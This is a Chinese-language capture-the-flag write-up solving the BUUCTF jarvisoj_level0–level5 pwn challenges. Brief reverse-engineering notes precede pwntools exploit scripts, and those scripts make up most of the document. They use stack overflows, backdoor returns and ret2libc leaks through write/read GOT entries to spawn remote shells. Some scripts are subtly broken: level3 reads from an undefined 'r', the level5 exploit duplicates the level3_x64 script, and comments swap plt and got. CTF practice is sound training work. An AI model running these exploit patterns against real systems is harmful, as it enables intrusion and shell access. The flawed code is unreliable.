buuctf ---- jarvisoj_level(全)

buuctf ----- jarvisoj_level0

buuctf ---- jarvisoj_level(全)_第1张图片
运行一下程序
buuctf ---- jarvisoj_level(全)_第2张图片
使用64位的IDA查看程序

buuctf ---- jarvisoj_level(全)_第3张图片
查看vulner_function函数

buuctf ---- jarvisoj_level(全)_第4张图片

发现buf存在溢出漏洞,buf是0x80,read了0x200 存在栈溢出漏洞

发现后门函数system("/bin/sh"),解题思路:修改read函数的ret address 为后门函数的地址。

buuctf ---- jarvisoj_level(全)_第5张图片
编写exp

from pwn import*

io=remote("node4.buuoj.cn",26034)

sys_addr=0x0400596

payload='a'*0x88+p64(sys_addr)

io.sendline(payload)
io.interactive()

buuctf ---- jarvisoj_level(全)_第6张图片

buuctf ----- jarvisoj_level1

buuctf ---- jarvisoj_level(全)_第7张图片先运行一下程序

buuctf ---- jarvisoj_level(全)_第8张图片
发现打印出一个地址 ---- 0xff8dc8a0

使用32位IDA打开

查看main函数

buuctf ---- jarvisoj_level(全)_第9张图片
查看vulnerable_function()函数

得出程序运行输出的地址是buf的地址

而且read函数存在栈溢出漏洞

buuctf ---- jarvisoj_level(全)_第10张图片
经查找,没有后门函数。没有开启任何保护,根据已知的信息: buf的地址已知,且buf存在栈溢出,程序未开启NX(栈不可执行)canary保护。可以通过 构造shellcode的方法。通过read读入shellcode,然后利用溢出漏洞将ret覆盖为buf参数地址(此时buf里是shellcode)去执行即可获取shell。

但是不正确,所以是一个ret2libc,利用write函数。

buuctf ---- jarvisoj_level(全)_第11张图片

编写exp

from pwn import *
from LibcSearcher import *

io = remote('node4.buuoj.cn',27913)
elf = ELF("./level1")
main_addr=0x80484b7
write_plt=elf.plt['write'] 	#write的plt表可以调用write函数
write_got=elf.got['write'] 	#write的got表里面有write函数的真实地址


payload ='a' * (0x88 + 0x4 ) + p32(write_plt) + p32(main_addr) +p32(0x1)+p32(write_got)+p32(0x4) 
  	#  栈迁移过来后 执行write函数 write后返回main函数 write的三个参数

io.send(payload)
write_addr = u32(io.recv(4))
	#  因为write的第二个参数是write_got,所以它会输出write的got

libc=LibcSearcher('write',write_addr)	
#根据泄漏的write地址,用LibcSearcher可以找到对应的libc版本,然后找到对应的write函数地址

libc_base=write_addr-libc.dump('write')
#找到偏移

system_addr=libc_base+libc.dump('system')
#根据偏移和system在libc中的地址找到system在程序中的地址

bin_sh=libc_base+libc.dump('str_bin_sh')
#根据偏移和sh在libc中的地址找到sh在程序中的地址

payload ='a' * (0x88 + 0x4) + p32(system_addr) + p32(main_addr)+ p32(bin_sh)

io.send(payload)
io.interactive()

buuctf ---- jarvisoj_level(全)_第12张图片

buuctf ----- jarvisoj_level2

buuctf ---- jarvisoj_level(全)_第13张图片
运行一下程序

buuctf ---- jarvisoj_level(全)_第14张图片使用32位的IDA进行分析

查看main函数

buuctf ---- jarvisoj_level(全)_第15张图片
查看vulner_function函数

发现buf存在栈溢出漏洞,且system()函数

buuctf ---- jarvisoj_level(全)_第16张图片
解题思路:劫持程序执行流,到system()函数,更改参数为"/bin/sh"

正巧程序中含有字符串"/bin/sh"

buuctf ---- jarvisoj_level(全)_第17张图片
buuctf ---- jarvisoj_level(全)_第18张图片
system()函数的地址

buuctf ---- jarvisoj_level(全)_第19张图片
编写exp

from pwn import*

io=remote("node4.buuoj.cn",28080)

sys_addr=0x0804849E
bin_addr=0x0804A024

payload='a'*(0x88+0x4)+p32(sys_addr)+p32(bin_addr)

io.sendline(payload)
io.interactive()

buuctf ---- jarvisoj_level(全)_第20张图片

buuctf ----- jarvisoj_level3

buuctf ---- jarvisoj_level(全)_第21张图片
运行程序得到

buuctf ---- jarvisoj_level(全)_第22张图片
使用32位IDA查看得

buuctf ---- jarvisoj_level(全)_第23张图片
查看vulnerable_function()函数

由read函数可知buf存在栈溢出漏洞

buuctf ---- jarvisoj_level(全)_第24张图片和level1是一个题型

编写exp.py

from pwn import *
from LibcSearcher import *

io=remote('node4.buuoj.cn',26784)
elf=ELF('./level3')

main=0x08048484
write_plt=elf.plt['write']
write_got=elf.got['write']

payload='a'*(0x88+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)

io.recvuntil('Input:\n')
io.sendline(payload)
write_addr=u32(r.recv(4))

libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system=libc_base+libc.dump('system')
sh=libc_base+libc.dump('str_bin_sh')

payload='a'*(0x88+4)+p32(system)+p32(main)+p32(sh)
io.recvuntil('Input:\n')
io.sendline(payload)

io.interactive()

buuctf ---- jarvisoj_level(全)_第25张图片

buuctf ----- jarvisoj_level3_x64

buuctf ---- jarvisoj_level(全)_第26张图片
运行程序得

buuctf ---- jarvisoj_level(全)_第27张图片
使用64位IDA查看main函数得

buuctf ---- jarvisoj_level(全)_第28张图片
查看vulner_function函数

buuctf ---- jarvisoj_level(全)_第29张图片
发现和jarvisoj_level5相似

使用ROPgadget工具进行查询 pop rdi ret 和pop rsi ret 两个指令的地址

在这里插入图片描述
看来是同一题

编写exp

from pwn import*
from LibcSearcher import*

io=remote('node4.buuoj.cn',29578)
elf=ELF('./level3_x64')

main_addr=0x40061a
pop_rdi=0x4006b3
pop_rsi_r15=0x4006b1

write_got=elf.got['write']	#write的plt表可以调用write函数
write_plt=elf.plt['write']	#write的got表里面有write函数的真实地址

payload='a'*(0x80+8)+p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(write_got)+p64(8)+p64(write_plt)+p64(main_addr)

#  栈迁移过来后 执行write函数 write后返回main函数 write的三个参数

io.recvuntil('\n')
io.sendline(payload)
write_addr=u64(io.recv(8))

#  因为write的第二个参数是write_got,所以它会输出write的got

print hex(write_addr)

libc=LibcSearcher('write',write_addr)
#根据泄漏的write地址,用LibcSearcher可以找到对应的libc版本,然后找到对应的write函数地址

offset=write_addr-libc.dump('write')
#找到偏移
print hex(offset)

system=offset+libc.dump('system')
#根据偏移和system在libc中的地址找到system在程序中的地址

bin_sh=offset+libc.dump('str_bin_sh')
#根据偏移和sh在libc中的地址找到sh在程序中的地址

payload='a'*(0x80+8)+p64(pop_rdi)+p64(bin_sh)+p64(system)+p64(0)
io.sendline(payload)
io.interactive()

buuctf ----- jarvisoj_level4

buuctf ---- jarvisoj_level(全)_第30张图片
运行一下程序

buuctf ---- jarvisoj_level(全)_第31张图片
使用32位IDA查看

查看main函数

buuctf ---- jarvisoj_level(全)_第32张图片
查看vulnerable_function()函数

buuctf ---- jarvisoj_level(全)_第33张图片
解题思路:和level3不同的是read函数之前没有调用write函数,因此要泄露libc的基地址需要用read函数,利用write函数将read函数在got表中的地址泄露出来

编写exp

from pwn import *
from LibcSearcher import *

io = remote('node4.buuoj.cn',29651)
elf = ELF("./level4")
context(os = "linux", arch = "i386")

read_got = elf.got['read']  #read的plt表可以调用read函数
write_plt= elf.plt['write']	#write的got表里面有write函数的真实地址
main_addr = 0x8048470

payload = (0x88+0x04)*'a'+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
	#  栈迁移过来后 执行write函数 write后返回main函数 write的三个参数

io.send(payload)

read_addr = u32(io.recv(4))
	#  因为read的第二个参数是read_got,所以它会输出read的got

libc = LibcSearcher("read",read_addr)
#根据泄漏的read地址,用LibcSearcher可以找到对应的libc版本,然后找到对应的read函数地址

libc_base = read_addr - libc.dump('read')
#找到偏移

system_addr = libc_base + libc.dump('system')
#根据偏移和system在libc中的地址找到system在程序中的地址
bin_sh = libc_base + libc.dump("str_bin_sh")
#根据偏移和sh在libc中的地址找到sh在程序中的地址

payload = (0x88+0x04)*'a'+p32(system_addr)+p32(0)+p32(bin_sh)

io.send(payload)
io.interactive()

buuctf ---- jarvisoj_level(全)_第34张图片

buuctf ----- jarvisoj_level5

buuctf ---- jarvisoj_level(全)_第35张图片
运行一下程序

buuctf ---- jarvisoj_level(全)_第36张图片
使用64位IDA查看程序

查看main函数

buuctf ---- jarvisoj_level(全)_第37张图片
查看vulner_function函数

buuctf ---- jarvisoj_level(全)_第38张图片
发现buf存在栈溢出漏洞

buf是0x80,read了0x200,很明显存在栈溢出漏洞,同样使用ret2libc

解题思路:程序中用write函数,所以可以利用write函数来泄漏libc。

这个题是64位的程序

注意:32位传参数通过栈来传递,参数逆序存储在栈中。

​ 64位传参,若参数<7 存储在寄存器中,rdi,rsi,rdx,rcx,r8,r9 参数依 次存储在这些寄存器中,若参数>7 ,则前6个参数存储在寄存器中,6 以后的参数存放在 栈中。

对于字符串,汇编指令的快速查询可以使用ROPgadget工具

在这里插入图片描述

编写exp

from pwn import*
from LibcSearcher import*

io=remote('node4.buuoj.cn',29578)
elf=ELF('./level3_x64')

main_addr=0x40061a
pop_rdi=0x4006b3
pop_rsi_r15=0x4006b1

write_got=elf.got['write']	#write的plt表可以调用write函数
write_plt=elf.plt['write']	#write的got表里面有write函数的真实地址

payload='a'*(0x80+8)+p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(write_got)+p64(8)+p64(write_plt)+p64(main_addr)
#  栈迁移过来后 执行write函数 write后返回main函数 write的三个参数
io.recvuntil('\n')
io.sendline(payload)
write_addr=u64(io.recv(8))
#  因为write的第二个参数是write_got,所以它会输出write的got
print hex(write_addr)

libc=LibcSearcher('write',write_addr)
#根据泄漏的write地址,用LibcSearcher可以找到对应的libc版本,然后找到对应的write函数地址

offset=write_addr-libc.dump('write')
#找到偏移
print hex(offset)

system=offset+libc.dump('system')
#根据偏移和system在libc中的地址找到system在程序中的地址

bin_sh=offset+libc.dump('str_bin_sh')
#根据偏移和sh在libc中的地址找到sh在程序中的地址

payload='a'*(0x80+8)+p64(pop_rdi)+p64(bin_sh)+p64(system)+p64(0)
io.sendline(payload)
io.interactive()

buuctf ---- jarvisoj_level(全)_第39张图片

你可能感兴趣的:(pwn,安全,pwn)